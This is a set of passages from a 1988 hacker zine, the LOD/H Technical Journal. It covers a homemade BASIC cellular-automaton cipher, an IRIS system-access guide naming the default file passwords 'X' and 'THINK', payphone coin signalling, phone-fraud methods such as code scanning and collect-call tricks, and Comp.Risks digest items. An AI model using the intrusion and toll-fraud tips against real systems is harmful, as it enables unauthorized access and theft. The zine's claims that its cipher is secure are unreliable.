+characters your machine can use. The same method can be used to encrypt binary +files, but it's not as clear as text only for a teaching example. + The problem with this simple form of encryption is that your average C64 +could crack it in a matter of minutes. Enter into the next level of +cryptography, random numbers. + During World War II the Allied Forces created a system to generate +random electric noise, recorded this noise onto a wax cylinder, and scram- bled +radio transmissions by mixing the seemingly random noise with the voice +transmission. The soldiers in the field needed an imprint of the same cylinder +to be able to understand the message. Think of the wax cy- linder as a +'filter' for the crypted message. + A random number generator can be easily used to encrypt data providing +you realize the following- a random number generator on a computer is not +really random. If you initialize the generator with the same seed value on two +seperate occasions, it will return the same sequence of psuedo- random +numbers. Most BASIC's use the RANDOMIZE command to start the generator +off. If you leave off the seed, they get a seed from the system clock or some +other fairly random source, providing a much truer random selection. But by +declaring the seed yourself, you can be sure that you will be able to reference +this same string of numbers, a string that is very hard to figure out without +the key (seed.) + Program Listing 1 is an example of a BASIC encrypt/decrypt system that +uses the built-in random number generator include on the machine (or language +implementation.) + +Program Listing 1 +----------------- + +REM ************************************************************************ +REM +REM Ok, this is an example of very basic encryption. It takes the input +REM string and the input key and processes them using the machine's built +REM in random number generator.

Most computers use the following algorithm for generating pseudo- +random number sequences: x(t+1) = ax(t) + b + x(t+1) = next random number + x(t) = previous random number + a & b are constants that will cause a fairly even distribution + + For example, if you were using a three-bit system (8 possible postive +integers) you might make a = 3 & b = 7 (there's a reason behind using prime +numbers that is beyond the scope of this file.) If you seed the argument with +RANDOMIZE 5 you would get the following: +First x: x = 3*5 + 7 | Since we're restricting ourselves to three bits, and + 22 won't fit in three bits, we'd need to perform a modula 8 on the + number. (Modulo divides x by eight and keeps the remainder as the + new value of x.) So MOD(22,8) is equal to 6 (16 + 6 = 22). + + Ok, let's do some simple mapping using our vowel set and the above +three-bit random number generator. Let's say that the message reads "AAEOU" +Our first random number was 6. Our map looks like "AEIOU12345". POS(A) + 6 +gives us 2 as the character. +Second x: x = 3*6 + 7 | MOD (25,8) = 1 | POS(A) + 1 gives us E. +Third x: x = 3*1 + 7 | MOD (10,8) = 2 | POS(E) + 2 gives us O. +Fourth x: x = 3*2 + 7 | MOD (13,8) = 5 | POS(O) + 5 gives us 4. +Fifth x: x = 3*5 + 7 | MOD (22,8) = 6 | POS(U) + 6 wraps around the map to A. + + So our original "AAEOU" is crytped into "2E04A". This may at first +seem difficult to crack since 'A' mapped into a '2' on one pass and an 'E' on +the other, thus preventing a freuquency analysis from breaking the code. + Unfortunately, if someone knows the random number algorithm, they can +easily hack out the key. Since most of the people using this will be using it +on a pc, it would be trivial to get another pc to hack it out. And even if you +protect your random number algorithm, it is still a straight linear algebra +problem that an AT could work on over a weekend and probably figure it out, +especially if there is a fairly small map to work with. + + Solution: What we need to do is combine the random mapping with a +random number generator that is tougher to figure out. Enter cellular +automatons. + CA's were first invented in the 1940's when John von Neumann (he of +the famous bottleneck) started to explore the mathmatic implications of very +simple machines. CA's are made of geometric patterns of cells that change +their state at each tick of a clock according to a fixed rule. Early work +provided automatons that could imitate a basic computer. Since the CA's are +inherently parallel (the entire geometry is updated each clock tick) and easy +to put on a chip, there is speculation that the next generation of parallel +processing computers will use CA's as a base rather than the Turing machine +model. + You have probably seen a CA at work and not realized it if you've +ever seen the computer graphic simulation 'LIFE' developed by John Conway at +MIT to model real organisms. The rule for automaton reproduction was incr- +edibly simple: If a cell has two or three neighbors, no change in the cell. +Fewer or more neighbors, it starves or is overcrowded to death, and repro- +duction occurs when a blank space has exactly three neighbors. + Using these simple rules, incredibly complex patterns can be produced. +Anything that can produce complex and varied results from a small algorithm is +a good target for a random number application. Enter Steven Wolfram from the +Institute of Advanced Studies in Princeton, NJ. + Wolfram has been doing research on one-dimensional cellular machines, +which have the advantage of being able to work with both todays machines and +future parallel machines. Wolfram has developed an automaton that is a one +dimensional circular array modified by the rule: + + a(x,t) = a(x-1,t-1) XOR (a(x,t-1) OR a(x+1,t-1)) MOD k + + Where x is the position in the array and t is the time, + k is the number of available characters (k = LEN(Q$)), + and a is the one-dimensional array. + + This rule has several interesting properties. The problem we had with +linear algorithms was that simple algebra could be used to analyze the +evolution of the algorithm (the patterns produced.) All that you have to do is +figure out how *one* cell evolves, then apply that pattern across the entire +array. In the above case, there is no way of analyzing the array at time t +without loading the initial conditions and running the whole thing. + The second thing to note is that there are k to the power of w (where w +is the width (number of cells) in array a) possible states the machine can be +in, and not all of these states have a predecessor that generates it. These +states are called 'Garden of Eden' states, and can only occur if they are set +as an ititial condition. + As a result, this rule is neither a one-to-one mathmatical mapping, +nor is it and onto mapping of the set of arrays into itself. In laymans' +terms, this means that for any given array state it is impossible to tell what +(if any) previous state generated it by mere pattern analysis. + While this isn't a file on breaking codes- about the only way to crack +this one that's been discovered is to load *every* k**w state into memory and +page through them searching for a pattern. This method can be defeated easily +by setting w to more than 30 cells (assuming k=256, all the ASCII characters.) +If you are using my array Q$, you might want to set w to 40 or more. Since 256 +to the 30th power is about a zillion bits, roughly equal to the largest memory +bank in existence, there isn't much chance of anyone breaking it. For the +truly paranoid, set w to 50 and sleep easy at night. + + Anyway, back to the algorithm... + + Each of the cells is filled on one of the k integers from 0 to k-1, +giving each cell k possible states. Wolfram found that the string of bits +occupying the 0 position (a(0,1), a(0,2), a(0,3)...) forms a random sequence +that passes all statistical tests, sometimes with better results than standard +DES algorithms. + Let's break this down and see what it's doing. First of all, we will +need two arrays. Each array is set up thus: + + Array for Time One + |------| |------| |------| |------| + |---->|a(0,1)|------>|a(1,1)|------>|a(2,1)|----->|a(3,1)|-----| + | |------| |------| |------| |------| | + |--------------------------------------------------------------| + + Array for Time Two + |------| |------| |------| |------| + |---->|a(0,2)|------>|a(1,2)|------>|a(2,2)|----->|a(3,2)|-----| + | |------| |------| |------| |------| | + |--------------------------------------------------------------| + + The reason we need two arrays is so you can update the array without +destroying anything in it. In other words, you start out with array 1 active, +then you update the array into array 2 and change the active array to 2. On +the next clock tick you will update the active array (now 2) into the inactive +one (now 1) and set the active array back to 1. You keep swapping like this. +Logically, you only have one array- the active one. + To initialize the array, the ASCII values of each character in the key +are plugged into the first LEN(KEY$) spaces in the array. If you want to use a +short key, modify the code to fill the *entire* array with values of the key +(keep repeating a loop from 1 to W pulling characters out of K). Since the key +can be anything printable, use something 10-20 characters long that you can +remember- "HACK TO LIVE, LIVE TO HACK" is one of my favorites. Anyway, if you +use a short (less than 10) key in this program, the distri- bution will be +skewed for the first W MOD LEN(KEY$) itereations of the automaton, but will +smooth out nicely after that. + After the array is filled, it operates exactly like the first program +*except* when it need a random number of positions to move. Then it drops +down, updates each cell in the automaton, and then reads the value in A(0,time) +as the random number to shift by. + Let's look at the modified encryption code. + +REM ************************************************************************ +REM +REM This is an modification of Program 1 that doesn't use a machine +REM specific random number generator, but instead uses a cellular automaton +REM algorithm. W is the width of the actual automaton. A is dimensioned +REM at 32 to avoid having to reference element 0 of the array, which is +REM legal on some systems and illegal on the others. This way it can +REM be implemented on anything. Y is set for time 1, Y1 for time 2. +REM These correspond to the second dimension in array A. +REM +REM ************************************************************************ + +W = 30 +DIM A(32,2) +Y = 1 +Y1 = 2 + +REM ************************************************************************ +REM +REM Once again, you can set this up to use files instead of strings.

Sometimes PP +has been renamed to PORT ALL MONITOR. If you logged in and it said your +Logical Unit was not active, you must install the system under the MANAGER +account. To do this, log in on a full privs account, and type IN, INSTALL, or +FASTINSTALL. This should allow you to activate all the system's Logical +Units. Normally, the Logical Units (referred to as LU's) range from 0-99, 99 +being a ramdrive. If you choose to just install Logical Unit number one, the +command would be INSTALL 0.1 and so on. If you are told Logical Unit x +exists, change? DO NOT CHANGE IT! Instead, attempt to install a Logical Unit +that doesn't already exist. + +To list all the files on the Logical Unit assigned to your account, type LIBR. +To list only certain files type LIBR x where x = searchcriteria. +To list the files on another LU, type LIBR x/ where x = the LU number. +To list all the files that you have read access to, type LIBR @. +To list only files that belong to you, type LIBR @g,r where g is your group, + and u is your user #. +To list files accessed within h hours, type LIBR >h where h is a decimal #. + +Anyway, you'll see something like this: + +#LIBR + +LOGICAL UNIT #0 JUL 30, 1988 19:50:03 + +* FILENAME[VOL] PROT COST SIZE ACCOUNT AGE HSLA TYPE PRIV HBA +S ASM 33 $0.00 11 0, 1 11068 11068 401 3 400 +B RUN 33 $0.00 21 0, 1 11068 0 602 3 344 +T SU.DSUBS 22 $0.00 22 0, 1 11068 5 30 3 7 + +and so on.... + +Running Programs +---------------- + + Most Application Software for IRIS is written in business basic, which is +basic with extended functions specifically for business applications. + +To execute a runnable file at the # prompt, just type the file's name. +To exit into basic, just type BASIC. +To run a program, simply type its name. +To load a program type BASIC LOAD x where x = filename. +To list a program once in basic, type X LIST X where, in both cases X = the + line you want to list or simply type LIST to list all the lines of the + program. + + File Type Chart + +Number Letter File Type + +0 P Permanent System File +1 S System processor or file +2 B BASIC processor or program +3 A Stand alone processor or program +4 X EXECUTE processor or program +5 G GPM program +6 M MUMPS processor or program +7 W COURSE WRITER processor or program +20 Q Stand alone compiler +21 J Stand alone relocating assembler +22 L Stand alone relocatable loader +23 R Relocatable binary object tape image +24 I Indexed relocatable binary library +27 Z Temporary file +30 T Text file +31 F Formatted data file +32 C Contiguous data file +36 $ Peripheral device driver + +Passworded Files +---------------- + + Sometimes a password will be added to the end of a file name to limit +access to users who have knowledge of the password.

The common defaults for +passworded files are the letter X and the word THINK. + + +Kicking Users off the System +---------------------------- + + This is something you do not want to do unless an emergency situation +arises, in which case you would issue the PPP command. This is the port +eviction utility. It will then ask you which port you would like to evict or +you may type the word ALL to evict everyone but yourself. This is useful if +you hang a printer port, or are afraid you may have dumped data to a printer +which is offline. + + +PORT.STAT +--------- + + This command gives you the status of a given port, and its channels. to +run it type: + +PORT.STAT + + +PP +-- + + PP lets you see who is on the system, what port they're on, what baud rate +they're running, and what process they're running.

If you feel your interest grows due to +this file there are other good technical documents about coin service, i.e. +Bell System Practices, CDs, PDs ect.. + + + Coin service is differentiated from other services by a special class of +service. All switching systems give -48 volt battery toward the coin phone on +the ring side of the line. Coin-First lines have an open TIP during a normal +receiver-on-hook condition. When a line goes off hook the central office +takes no action and in fact can not detect the off hook condition due to the +line's conditioning-for-ground start. When the customer deposits money the +coin ground is extended to the ring side of the line. The ground signals the +line equipment in the central office as a to give a dial tone. + Dial-Tone First offices give both the battery and ground to the coin +station, thus providing a dial tone equivalent to a POTS phone. All coin +service is super current sensitive. (The central office must give at least 23 +milliamps of line current and 41 milliamps of coin control current to the +farthest coin station.) + + + The switching systems differ in the method which calls are handled. + + +No. 5 Crossbar + + The No. 5 crossbar coin-first offices must have a dual wound line relay +with both windings in series when dealing with a coin first situation. If any +Coin-First lines are served in a No. 5 crossbar office the originating +registers must be able to desensitize the (pulsing) L relay by providing a +resistive ground throgh its tertiary winding via the coin class of service +relay. + Crossbar offices can give coin return from Originating Registers, +TSPS/Cordboard trunks, Ring and Tone trunks, Announcement trunks, and Coin +Supervisory circuits. Coin collect current is only given through +TSPS/Cordboard trunks and Coin Supervisory circuits. The only circuit that +can handle a stuck coin test is the coin supervisory circuit. + Crossbar offices handle coin actions on locally completed calls in the +coin supervisory circuit (CS). All trunks must have access to the CS circuit +or use coin junctors or coin 1A0 trunks that have such access. The use of +coin junctors or coin 1A0 trunks elimnate the need for other trunks to be hard +wired to the Coin Supervisory Link. When the trunk's supervisory relays show +a coin action is needed the trunk searches for an idle Coin Supervisory +Circuit through the Coin Supervisory Link. The bridged connection allows the +Coin Supervisory Circuit to give the proper collect or return current toward +the coin telephone and test to see if the action was successful. + Crossbar offices handle coin actions required by DDD calls or TSPS +operators in the No. 5 crossbar TSPS trunk. The TSPS base unit signals the +No. 5 office by either frequencies or multiwinks. The No. 5 office receives +these signals and the trunk applies one pulse of coin collect or return or +ring back. The No. 5 TSPS trunk dose not make a test to see if the required +coin action is successful. If the coin is still present the call is dropped +and the coin remains in the trap. + + +ESS + + ESS offices provide all coin control actions from the Coin Control +Circuit. The Coin Control Circuit is switched to a customers line under +program control. The Coin Control Circuits always make a stuck coin test at +the end of a call. + ESS offices handle coin actions required by DDD or TSPS operators by +scanning the TSPS trunk looking for any control signals from the TSPS base +unit. When the ESS office sees a request on the TSPS trunk the ESS office +opens the talking path and attaches a multifrequency (MF) reciever. The MF +reciever looks at the tones being sent from the TSPS base unit transmitter and +checks if the signal requested is a coin collect, coin return, ring back, or +operator attached. + Dial-Tone First (DTF) offices not equipped with expanded In-Band +Signaling give +48V talk battery during operator attached and 48V talk +batttery during the rest of the call. If the TSPS signals for coin return the +ESS office will open the talk path again, release the MF receiver and switch +the line to the Coin Control Circuit which applies -130V coin return +potential. After the coin control function is finished the system will make +on recycle attempt if the coin ground is still present. + Local calls are handled within the ESS machine. When a coin control +function is required the program momentarily opens the talk path and switches +the line to a Coin Control C cuit which applies the required current. + +Step By Step + Coin lines in a Step By Step area are served on dedicated Line Finder +groups. The Line Finders are hardwired to a coin box trunk and then cabled to +a first selector appearance. + Step By Step offices can give coin return from coin box trunks, +TSPS/Cordboard trunks, and other miscellaneous trunks. (My knowledge of Step +By Step is vague, it's kind of like trying to research dinosaurs.) + Step By Step offices handle coin actions on local calls in the coin box +trunks. The coin box trunk applies the coin control current through the +winding of a relay to the coin station hopper trigger ground. When the coin +station ground disappears, the coin box trunk relay releases and allows the +connection to restore to normal. Some Step By Step offices have a timed +release circuit that will time out after about eight attempts of coin control +action, peg the stuck coin register, then release. If the timed release +circuit is not provided and a coin ground can not be removed, the circuit must +be manually released. + Step By Step offices handle coin actions required by DDD calls or TSPS +operators in the Step By Step TSPS trunk. The TSPS base unit signals the Step +office by either frequencies or multiwinks. The Step office trunk recicves +these signals and trunk applies one pulse of coin collect, coin return or ring +back. The trunk does not make a test to see if the action was successful. + If a DDD call was completed to a busy number the Step By Step TSPS trunk +will apply one quick pu e of coin return toward the coin station, then the +coin box will check to see if the coin ground has disappeared. If the ground +is still present the coin box trunk will repeat the attempt to collect the +coin. + + + If you have any further questions about how the central office handles +coin service or about coin service in general, I can be reached via E-mail on +The Phoenix Project at 512/441-3088. + + Oct 1988 - Phase Jitter....Legion of Doom/Hackers! + + + + + + + +The LOD/H Technical Journal, Issue #3: File 09 of 11 + +----------------> UNIX Password Hacker: Courtesy of USENET <------------------ + + The following is an extensive unix password hacking program taken off +USENET awhile back.

For example, +unauthorized computer access is a misdemeanor under 502PC of the California +Penal Code if you just trespass and browse around -- and if it's your first +offense. +But: "Any person who maliciously accesses, alters, deletes, damages, destroys +or disrupts the operation of any computer system, computer network, computer +program or data is guilty of public offense" -- a felony under Section C of +that code. Even changing a password to "Gotcha" is a felony if it can be +proven that it was a "malicious access." +In California, the maximum punishment is state imprisonment, a $10,000 fine and +having your equipment confiscated. The penalty depends on who you are, your +prior record and the seriousness of the crime. +And you don't have to, for instance, breach national security to be guilty of a +felony. Accessing even a simple system of a small company could damage vital +data for more than a year's worth of business, especially if that company +didn't properly back up its data. +There are all kinds of computer crime. Stealing an automated teller machine +card and withdrawing money from an account is a computer crime because you're +using a computer to get money out of a system. But simply trespassing in a +system and not doing any damage is normally a misdemeanor, according to Sgt. +John McMullen of the Stanford University Police Services. This kind of crime +has become very common. "Every kid with a computer is tempted," he said. +Unfortunately, it can take months to complete an investigation. For instance, +the so-called "LEGION OF DOOM" case, beginning in September, 1986, took 10 +months to solve and involved people in Maryland, New York, Pennsylvania, Oregon +and California. +If someone breaks into the computers of, for example, California's Pacific +Bell, and the break-in is severe, Pacific Bell Security gets warrants issued, +and then, with the police, confiscates computers, manuals, telephone lists and +directories -- all related equipment. It's common for the computer to be tied +up for a few months as evidence. (And by the time Pacific Bell Security does +get involved, the evidence is usually overwhelming -- the conviction rate is +extremely high.) +"Whenever I'm involved in a case," said McMullen, "I ask the judge for +permission to confiscate the equipment. That's one big incentive for hackers +not to do this kind of stuff. I haven't had any repeaters, but I know of one +case where the guy probably WILL do it again when he gets out. +"Usually the shock of what happens to a juvenile's parents -- who bought the +equipment and watched it get confiscated -- is enough to make them stop. But we +don't really have enough cases to know what the parents do." + + +ACCESS + +"It's easy for hackers to find company phone numbers," said Daniel Suthers, +Atari user and operations manager at Pacific Bell in Concord, California. +"Most large companies have a block of 500 to 1,000 phone numbers set aside for +their own use. At least one line will have a modem. +"People post messages on hacker/phreaker bases on some BBS's and say 'I don't +know who this phone number belongs to, but it's a business, judging by the +prefix, and has a 1200-baud tone.' Then it's open season for the hackers and +phreakers." + +Phreakers aren't much different than hackers -- they're just specifically +telephone-oriented. In "CompuTalk: Texas-Sized BBS" (Antic, August 1987), +sysop Kris Meier discussed phreakers who appear to have called from phone +numbers other than the ones they were actually using. A computer isn't needed +to do this -- it's usually done with a "blue box." + +"The blue boxes were used mostly in the late 1960s and early '70s," said +McMullen. "They fool the network and let people make free long distance calls +-- a tone generator simulates the signalling codes used by long distance +operators. The boxes were phased out a couple of years ago, though: they no +longer let hackers access AT&T, but Sprint and MCI can be accessed by something +similar. However, computer programs are normally used now." + +To get long-distance phone service, hackers now use one of several programs +passed among other hackers (on bulletin boards, for example). They find the +local access number for Sprint or MCI and then run the program -- perhaps for a +few days. It generates and dials new phone numbers, and the hackers can check +to see how many new or free codes they've turned up. + +They can post the codes on a BBS, and their friends will use them until they +get stopped by the long-distance company -- depending on how long it takes the +company to realize that these numbers hadn't been issued yet -- or until the +customers discover that their numbers have been accessed by someone who isn't +"authorized." + +Bulletin boards can be especially easy prey. "If a hacker knew your BBS +program intimately, he could probably figure it out, but that's messy," said +Suthers. "If he can find a back door, it's easier. Sysops are notorious for +putting in their own back doors because, though they have all the security +under the sun on the FRONT doors, they still want to get in without problems. +It's just like what happened in the films Tron and Wargames -- which probably +taught a whole generation a lot of things." + +Meier had said in the August, 1987 issue of Antic that someone once called his +board COLLECT. Simply put, the caller fooled the operator. McMullen says +that's been around for a long time. "It's common in prisons and situations +where the phones are restricted." McMullen also said that if the timing is just +right, as soon as the modem answers, the phreaker can wait for an operator to +say "Will you accept the charges," then say "Yes." The operator can't tell +which end said yes, and if the modem has a long delay before the connect tone, +the phreaker can get away with it. It couldn't be done entirely electronically +-- the voice contact is needed. + +"I've never run across people accessing online services such as CompuServe in +this way, but I'm sure it happens," said McMullen. "People suddenly get +strange charges on their phone bills. "The hackers I've dealt with are very +brilliant and good at what they do. Of course, when you do something all day +that you're really interested in, you're +GOING to be good at it." + + +DOOM + +McMullen's most recent hacker case at Stanford University dealt with the Legion +of Doom, an elite group of hackers who broke into computers -- some containing +national defense-related items. "As I understand it, they're supposed to be the +top hackers in the nation," McMullen said. "I started investigating the case +when it began crossing state lines, getting a bit too big. I contacted the +FBI, who said that because of the Secret Service's jurisdiction over credit +card and telephone access fraud, they'd taken over computer crime +investigations that go across state lines -- actually, anything involving a +telephone access code. This case, of course, involved access codes, because +the Sprint and AT&T systems were used, and it was the Secret Service, not the +FBI, that made the arrests. "I think that the publicity from this case will +scare people, and there'll be a lot less hacking for a while. Some hackers are +afraid to do anything: they're afraid that the Secret Service is watching them, +too." + + +TRACING + +AT&T, Sprint and MCI now have ANI -- Automatic Number Identification -- as does +Pacific Bell. It aids a great deal in detecting hackers. Pacific Bell usually +just assists in this type of investigation and identifies the hackers. "It's +easy to trace a call if the caller logs in more than once," said Suthers. "The +moment they dial in, a message is printed out -- before the phone even answers +-- pinpointing where it came from, where it went to, the whole shmeer. + +"A blue box made it much harder to detect, but if a hacker used it +consistently, we could eventually trace it back. So if someone is in +California and makes it look as if he'd called from New York, we can trace it +across the country one way, and then back across. Generally, though if the +call IS billed to a New York number, the caller is actually somewhere like +Florida. But we can back-trace the call itself, especially if it's extremely +long." + +But recently someone broke into Pacific Bell "through a fluke of +circumstances." Suthers said, "We closed down that whole area, so they can't +get back in that way, but if they dial the number again, they're in trouble." +If Pacific Bell Security detects a break-in, the area is secured immediately. +Sometimes hackers are steered toward a kind of "pseudo-system" that makes them +THINK they've broken in -- but in fact they're being monitored and traced. +As to how many hackers there are, who knows? There's a lot of misuse and +inside work that's never detected or reported. + + +SECURITY + +Security systems are expensive, but someone with a lot of data and an important +system should seriously look into one. Very few hackers are caught, simply +because few corporations have good security systems. "Passwords should never be +names, places or anything that can be found in a dictionary," said Suthers. +"People shouldn't be able to just write a program to send words from their +AtariWriter Plus dictionary disk. Normally there should be a letter here, a +few numbers there -- garbage. Thus, if someone writes a program to generate +random symbols and keeps calling back until he breaks in, he'll probably be +traced. "Some corporations aren't very computer literate and don't worry about +things like passwords until they've been hit, which is a shame. But it's all +out there in the books. TRICKS OF THE UNIX MASTER (by Russell Sage, published +by SAMS Publications, $22.95) is a beautiful book that tells you exactly what +to do to avoid break-ins." + +McMullen said that Stanford is trying to tighten up security by emphasizing the +importance of better passwords. "When researchers want to do their work, +however, they don't want to mess with passwords and codes," he said. +"Universities seem to want to make their systems easier for researchers to use. +The more accessible it is, obviously, the less security there is in terms of +passwords. It's easier to use your name as a password than some complicated +character string. "So any hacker worth his salt can go onto any computer system +and pull out an account. Especially with UNIX, it's very easy to access it, +entering as the password the first name of the person who has the account. +These Legion of Doom hackers used a program that actually found out what the +passwords were: it began by just checking the names. They were very successful +-- it was just unbelievable." + +But McMullen feels that security fell way behind the advances made in +computers, and several avenues were left open for people to explore. "Often +these hackers don't mean to be malicious or destructive," he said, "but I think +they really feel triumphant at getting on. Sometimes they do damage without +realizing it, just by tramping through the system: shutting down phone lines, +programs and accounting systems." However, the strides made in security since +then have accounted for arrests, confiscations and convictions all over the +country -- but there are still many more to come. + + + + + + +The LOD/H Technical Journal, Issue #3: File 11 of 11 + +$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ +$ $ +$ Network News & Notes $ +$ $ +$ Compiled from Comp.Risks Digest $ +$ by $ +$ The Mentor $ +$ $ +$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ + + Comp.Risks Digest is a USENET distributed newsletter on risks to the +public from computer-related systems.

I thought it might +be of interest to RISKS readers as an example of a well-thought-out set of +administrative procedures designed to balance the needs of protection of +privacy and response to emergency situations. + + ======================================================================= + +All examples in this message pertain to Illinois Bell Telephone Company, which +covers the Chicago metropolitan area, and quite a bit of the rest of Illinois. + +There are three types of phone numbers which do not appear in the printed and +publicly available directory: (1) Too new to list (2) Non-listed (3) Non-pub. +[discussion of types (1) and (2) deleted.] + +The third category of numbers not in the phone book or available from the +Directory Assistance Bureau are non-published numbers. Non-pub numbers are NOT +available at the Directory Assistance level. Inquiries about same which are +input into a DA terminal simply come up with a message that 'at the customer's +request, the number is not listed in our records; the number is non-published.' + +Well, who does keep non-pub records then? The Business Office has no handy way +to retrieve them, since they depend on an actual phone number when they pull up +a record to discuss an account. Once a service order is processed, the number +and associated name are no longer available to the average worker in the +central office. + +There was for several years a small group known as the 'NonPub Number Bureau' +which at the time was located in Hinsdale, IL. Needless to say, the phone +number to the NonPub Number Bureau was itself non-published, and was only +available to specified employees at Bell who were deemed to have a 'need to +know'. Now I think with all the records being highly computerized, the keepers +of the non-pub phone numbers are themselves scattered around from one phone +office to another. + +When there is some specific need for an employee at the phone company to +acquire the non-published number of a subscriber, then certain security +precautions kick into place. Only a tiny percentage of telephone company +employees are deemed to have a 'need to know' in the first place; among +these would be the GCO's (Grup Chef Operators), certain management people +in the central offices, certain people in the Treasury/Accounting office, +andof course, security representatives both from Illinois Bell and the +various long distance carriers, such as AT&T/Sprint/MCI. + +Let us have a hypothetical example for our Correspondent: Your mother has taken +seriously ill, and is on her deathbed. Your brother is unable to reach you to +notify you of this because you have a non-pub number. When his request for the +number has been turned down by Directory Assistance, simply because they do not +have it, he asks to speak with a supervisor, and he explains the problem. He +provides his own name and telephone number, and the supervisor states he will +be called back at a later time. The supervisor does not question if in fact an +emergency exists, which is the only valid reason for breaking security. The +supervisor may, if they are doing their job correctly, ask the inquirer point +blank, "Are you stating there is an emergency situation?". + +Please bear inmind tat the law in Illinois and in many other states says that +if a person claims that an emergency exists in order to influence the use (or +discontinuance of use) of the telephone when in fact there is no emergency is +guilty of a misdemeanor crime. You say yes this is an emergency and I need to +contact my brother/sister/etc right away. The supervisor will then talk to +his/her supervisor, who is generally of the rank of Chief Operator for that +particular facility. + +The Chief Operator will call the NonPub people, will identify herself, and +*leave her own call back number*. The NonPub people will call back to verify +the origin of the call, and only then will there be information given out +regards your brother's telephone number. It helps if you know the *exact* way +the name appears in the records, and the *exact* address; if there is more than +one of that name with non-pub service, they may tell you they are unable to +figure out who it is you want. + +The NonPub person will then call the subscriber with the nn-published number +and explain to tem what has occurred: So and so has contacted one of our +operators and asked for assistance in reaching you. The party states that it +is a family emergency which requires your immediate attention. Would it be +alright if we give him/her your number, *or would you prefer to call them back +yourself? + +Based on the answer given, the number is either relayed back to the Chief +Operator, or a message is rlaedback saying the non-pub customer has been +notified. If the customer says it is okay to pass his number, then the Chief +Operator will call you back, ask who YOU are, rather than saying WHO she wants, +and satisfied with your identification will give you the number you are seeking +or will advise you that your brother has been given the message by someone from +our office, and has said he will contact you. + +Before the NonPub people will even talk to you, your 'call back number' has to +be on their list of approved numbers for that purpose. A clerk n the Business +Office cannot imitate a Chief Operator for example, simply because NonPub would +say that the number you are asking us to call back to is not on our list. "Tell +your supervisor what it is you are seeking and have them call us..." + +Other emergency type requests for non-pub numbers would be a big fire at some +business place in the middle of the night, and the owners of the company must +be notified at their home; or a child is found wandering by the police and +the child is too young to know his parent's (non-pub) number. + +They will also handle non-emergency requests, but only if they are of some +importance and not frivolous in nature. You have just come to our city to visit +and are seeking a long lost friend who has a non-pub number; you are compiling +the invitations to your high school class fiftieth re-union and find a class +member is non-pub. Within certain reasonable limits, they will pass along your +request to the desired party and let them make the choice of whether to return +the call or not. But always, you leave your phone number with them, and in due +time someone will call yo back to report what has been said or done. + +You would be surprised -- or maybe you wouldn't -- at the numerous scams and +[........] stories people tell the phone company to get the non-pub number of +someone else. Fortunately, Bell takes a great deal of pride in their efforts to +protect the privacy of their subscribers. + +Patrick Townson, The Portal Syse(TM) +uunet!portal!cup.portal.com!Patrick_A_Townson + +----------------------- + +Date: Tue, 4 Oct 88 18:01:58 CDT +From: linnig@skvax1.csc.ti.com +Subject: More on monitoring Cellular Phones + +Alan Kaminsky (ark%hoder@CS.RIT.EDU) writes: + +> When a phone detects a paging message with +> its own address, it broadcasts a page response message.

In my +opinion, they exaggerate this risk and underestimate another risk of mobile +phones, the complete lack of privacy in radio transmissions. + +Roughly 10 years ago I designed vehicle location controller hardware and +firmware used in the Washington-Baltimore cellular demonstration system. +That system led directly to products sold at least through the first +waves of cellular system construction a few years ago. + +Since cellular base stations have intentionally limited geographic +coverage, vehicle location is a requirement. This limitation is used to +conserve radio channels; one cell's frequencies can be re-used by others +far enough away in the same metropolitan area. The cell system must +determine which cell a mobile user is located in when he begins a call, +and when during a conversation a vehicle crosses from one cell into +another. Cells are set up perhaps 3 to 20 miles in diameter and range +from circular to very irregular shapes. Cellular phone systems are +designed with ample margins so that statistically very few calls will be +lost or have degraded voice quality. + +Making this system work does not require anything so fancy as +triangulation. Vehicle location needs to be only good enough to keep +signal quality acceptably high. John Gilmore explained in RISKS 7.58 +how this works while the mobile phone is on-hook. During a +conversation, the base station periodically measures the signal strength +of an active mobile in its cell. When the signal strength goes below a +threshold, adjacent cells measure the mobile's signal strength. This +'handoff trial' procedure requires no interaction with the mobile. If +the mobile was stronger by some margin in an adjacent cell, both the mobile +phone and the cellular exchange switch are ordered to switch to a channel and +corresponding phone line in the new cell. Since base stations commonly use +directional antennas to cover a full circle, mobiles could be reliably located +in one third of the cell area at best. Distance-measuring techniques advocated +by AT&T were not adopted because the added cost was too high for the modest +performance gain. + +Certainly a cellular phone system can locate a mobile at any time, and always +locates a mobile during a conversation. But the information is not +fine-grained enough to implement some of the schemes imagined by previous +writers. + +A more important risk is the risk of conversations being intercepted. The +public airwaves are simply that: public. Scanner radios can easily be found or +modified to cover the cellular band, and listeners will tolerate lower signal +quality than cellular providers, hence one scanner can listen to cell base +stations over a wide area. The communications privacy law is no shield because +listeners are undetectable. To bring this back to risks of computers, +automated monitoring and recording of selected mobile phones is probably beyond +the reach of the average computer hobbyist, but easily feasible for a +commercial or government organization using no part of the infrastructure +whatever, just the control messages available on the air. + +Wes Plouff, Digital Equipment Corp, Littleton, Mass. +plouff%nac.dec@decwrl.dec.com + +------------------------------ + +Date: Wed, 12 Oct 88 20:34:01 -0700 +From: davy@riacs.edu +Subject: 100 digit primes no longer safe in crypto + +Taken from the San Jose Mercury News, Oct. 12, 1988, Page 8A: + +Computers able to make light work of cracking code (Los Angeles Times) + + Some secret codes intended to restrict access to military secrets and Swiss +bank accounts may not be as safe as had been presumed, a team of computer +experts demonstrated Tuesday. + The team succeeded in doing what security experts thought could not be done: +using ordinary computers to break down a 100-digit number into the components +that produce it when multiplied together. + That process, called factoring, holds the key to many security codes. + Before Tuesday, experts had believed that if the number was large enough - +up to 100 digits - its factoring would take about 10 months with a Cray super- +computer, one of the most powerful computers in the world. + But computer experts across the United States, Europe and Australia solved +the problem more quickly by using 400 processors simultaneously. They linked +their computers electronically and factored a 100-digit number in just 26 days. + The number has two factors, one 41 digits long and the other 60 digits long. + And that, according to Arjen Lenstra, professor of computer science at the +University of Chicago, should be quite sobering to experts who believe they +are secure with codes based on numbers that large. Lenstra headed the project, +along with Mark S. Manasse of the Digital Equipment Corp.'s Systems Research +Center in Palo Alto. + + [ quotes from experts ] + + Rodney M. Goodman, associate professor of electrical engineering and an +expert on cryptography at the California Institute of Technology in Pasadena, +described the achievement as "significant," because it means that some systems +may not be as secure as had been thought. But he said it did not mean that +security experts around the world would have to rebuild their systems. + "All the cryptographers will do is increase the length of the number by a +few 